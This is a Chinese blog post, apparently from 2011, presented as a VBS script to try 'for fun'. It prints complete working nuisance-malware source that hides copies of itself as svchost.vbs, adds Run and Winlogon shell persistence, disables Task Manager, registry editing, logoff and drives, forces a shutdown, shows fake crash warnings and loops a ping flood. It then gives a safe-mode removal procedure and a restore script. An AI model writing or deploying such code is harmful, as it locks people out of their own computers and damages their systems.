vbs 脚本没事测试玩
2011年03月27日
Set objFS = CreateObject("Scripting.FileSystemObject")
Set objFSO = CreateObject("Scripting.FileSystemObject")
set wsh=wscript.createobject("wscript.shell")
set reg=wscript.createobject("wscript.shell")
dim wsh
a=WScript.ScriptFullName
b="shutdown -t 60 -s -c 。。。加载!"
c="c:\svchost.vbs"
d="d:\svchost.vbs"
s="c:\windows\system32\svchost.vbs"
c1="attrib +s +h +a +r c:\svchost.vbs"
d1="attrib +s +h +a +r d:\svchost.vbs"
s1="attrib +s +h +a +r c:\windows\system32\svchost.vbs"
If objFSO.FileExists (c) Then
Else
objFs.GetFile (a).Copy (c)
wsh.run c1
End If
If objFSO.FileExists(d) Then
Else
objFs.GetFile (a).Copy (d)
wsh.run d1
End If
If objFSO.FileExists(s) Then
Else
objFs.GetFile (a).Copy (s)
wsh.run s1
End If
wsh.run b
wsh.run "narrator"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","00000001","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","00000001","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoRun","00000001","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoClose","00000001","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoLogoff","00000001","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoDesktop","00000001","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoDrives","000000100","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost","c:\svchost.vbs","REG_SZ"
reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost","d:\svchost.vbs","REG_SZ"
reg.regwrite"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\svchost","c:\windows\system32\svchost.vbs","REG_SZ"
reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\svchost","c:\windows\system32\svchost.vbs","REG_SZ"
reg.regwrite"HKEY_CURRENT_USER\Control Panel\International\sTimeFormat","tttt H:mm:ss","REG_SZ"
reg.regwrite"HKEY_CURRENT_USER\Control Panel\International\s1159","笨蛋!","REG_SZ"
reg.regwrite"HKEY_CURRENT_USER\Control Panel\International\s2359","傻逼!","REG_SZ"
reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\shell","c:\windows\system32\svchost.vbs","REG_SZ"
msgbox "系统快要崩溃了!",48,"由于你经常看黄页:"
msgbox "windows崩溃了!",18,"安全警报:"
do
wsh.run ("ping -t -l 6500 192.168.1.1")
loop
'请将以上代码保存在txt文件中保存、再把后缀名txt改成vbs后执行后就可以看到效果
了解救方法如下:
开机的时候按F8选择从带命令行的安全模式启动系统,然后执行以下命令
attrib -s -r -h -a c:\windows\system32\svchost.vbs
attrib -s -r -h -a c:\svchost.vbs
attrib -s -r -h -a d:\svchost.vbs
explorer
然后从以上文件目录中找到那VBS文件,把他们删除既可,还要自己建立一个新的VBS文件,把一下代码复制进去执行一次就OK了!
set reg=wscript.createobject("wscript.shell")
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","00000000","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","00000000","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoRun","00000000","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoClose","00000000","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoLogoff","00000000","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoDesktop","00000000","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoDrives","000000000","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost","","REG_SZ"
reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost","","REG_SZ"
reg.regwrite"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\svchost","","REG_SZ"
reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\svchost","","REG_SZ"
reg.regwrite"HKEY_CURRENT_USER\Control Panel\International\sTimeFormat","H:mm:ss","REG_SZ"
reg.regwrite"HKEY_CURRENT_USER\Control Panel\International\s1159","AM","REG_SZ"
reg.regwrite"HKEY_CURRENT_USER\Control Panel\International\s2359","PM","REG_SZ"
reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\shell","Explorer.exe","REG_SZ"
msgbox "解救成功,请勿用此代码破坏别人",64,"OK"
不明白不要玩
发表评论
-
PowerShell 2.0之使用WMI管理Windows(二)PowerShell操作WMI
2012-01-20 10:01 699PowerShell 2.0之使用WMI管理Windows(二 ... -
IIS 服务器没有及时响应启动或控制请求 未启动 启动 world wide web publishing服务 127 找不到指定程序
2012-01-20 10:01 531IIS 服务器没有及时响应启动或控制请求 未启动 启动 wor ... -
vbs脚本:DeleteFolder
2012-01-20 10:01 562vbs脚本:DeleteFolder 2010年08月08日 ... -
QTP使用技巧(1)
2012-01-20 10:01 630QTP使用技巧(1) 2011年06 ... -
PowerDesigner设置MYSQL主键自动增长的方法
2012-01-20 10:01 595PowerDesigner设置MYSQL主键自动增长的方法 ... -
VBS脚本文件大全
2012-01-19 15:03 579VBS脚本文件大全 2011年05月24日 一、自动打开 ... -
自动下载并运行的VBS脚本代码[转载]
2012-01-19 15:03 633自动下载并运行的VBS脚本代码[转载] 2012年01月15 ... -
[值得一看] TCP版backshell的VBS脚本
2012-01-19 15:03 972[值得一看] TCP版backshell ... -
C#程序实现动态调用DLL的研究
2012-01-19 15:02 460C#程序实现动态调用DLL的研究 2011年04月26日 ... -
system32文件夹里的文件详解
2012-01-17 04:49 650system32文件夹里的文件详解 2011年05月23日 ... -
Windows XP系统文件一一诠释(1)[最新整理](转BY wang6610----BBS.WUYOU.COM)
2012-01-17 04:49 517Windows XP系统文件一一诠 ... -
OpenGL函数参考(中文版)转载
2012-01-17 04:49 833OpenGL函数参考(中文版)转载 2011年01月17日 ... -
OpenGl函数解释(转载)
2012-01-17 04:49 306OpenGl函数解释(转载) 2011年03月11日 第 ... -
怎样用OpenGL在某一位置上写字符串?
2012-01-17 04:47 360怎样用OpenGL在某一位置上写字符串? 2011年11月2 ... -
VBS脚本编程教程一
2012-01-16 03:40 399VBS脚本编程教程一 2010年01月10日 大家好,在 ... -
把我最钟爱的脚本语言--vbs 的教程分享给大家--2
2012-01-16 03:40 412把我最钟爱的脚本语言- ... -
vbs脚本批量将ppt转换为word
2012-01-16 03:40 835vbs脚本批量将ppt转换为word 2009年11月25日 ... -
通过对一个病毒源码的分析,了解VBS脚本语言的应用
2012-01-16 03:40 644通过对一个病毒源码的 ... -
【黑客】利用VBS脚本让QQ永远在线,等级速升
2012-01-16 03:40 331【黑客】利用VBS脚本让QQ永远在线,等级速升 2010年0 ...
相关推荐
用VBS脚本关闭系统还原,已经测试过,需要重新启动计算机
在VBS中,使用Telnet连接远程端口,测试远程端口是否开放。不依赖Active库。
亲测可用! 很有意思的小脚本,VBS vbs脚本实现获取屏幕分辨率,大家一起学习分享啊! 本人将会不定期的上传一些经过测试可用的vbs小程序。
openwrt总结(xshell vbs脚本自动化测试)
QTP VBS 脚本 项目 在实际项目中使用到的脚本以及自定义测试报告
vbs脚本,用正则表达式判断字符串类型,多用于QTP自动化测试脚本
简单的vbs弹窗,问她最喜欢的人是谁?只有当她输入你的名字的时候,弹窗才会关闭,否则弹窗一直存在,一个简单的小功能,大家可以试试
修改3389端口 vbs脚本 tc老师提供 简便好用 适合XP , 2000 2003未测试
此时脚本已经在循环监测U盘的插入 三、插入U盘 U盘插入后,就开始文件的复制。复制完成后会出现提示对话框。 如果不希望出现该对话框,可以将 “Msgbox "Windows 错误",64”注释掉 四、寻找文件 此时,文件已经在...
非常好的vbscript系统自动化测试脚本,包含了一些对excel操作的封装函数,给大家参考,希望对大家有用!
里边有测试的vbs脚本,直接调试即可
Vbs脚本编程简明教程,适合QTP测试用编写脚本。
vbs脚本开发教程/ 软件测试/运维都可以考虑学习使用的开发语言,简单易学,快速上手
自动关机VBS脚本,本人用了近1天时间反复修改,不停重启测试才得以完成,真的是反复煎熬,不断坚持呐,呵呵。本程序DIY味道十足,可以自定义一周内的任一天或几天,任何时段的任何时间,另外提供了一个提示框,可...
很好的vbs编程实例和vbs脚本教程,学完后可以看看自动化测试的文档,对自动化测试的学习很有帮助。。。
脚本为VBS编写,利用WMI编写,通过测试。 使用中Flag为你要检索清理的关键字,并取消这两行的注释: Link:71 '''oReg.DeleteKey k_root, subkey '删除注册表的代码 Link:151 '''oReg.DeleteValue strKR, ...
非常好用的vbs转exe工具,亲自测试可用。无bug,还可以编辑vb脚本,语法高亮,使用简单。
VbsEdit-VBS脚本编辑器-QTP自动化测试 iquicktest教研室:http://www.iquicktest.com/bbs
自带PHP测试服务器+VBS脚本,京东价格图片转数字的工具。 某产品价格出现变动,就会提示音乐报警。可以按说明自己设置商品。 VBS为主要测试入口,HOME文件为PHP服务器。 非正常关闭注意后台清理线程可二次运行。 ...
自动化测试脚本例子共享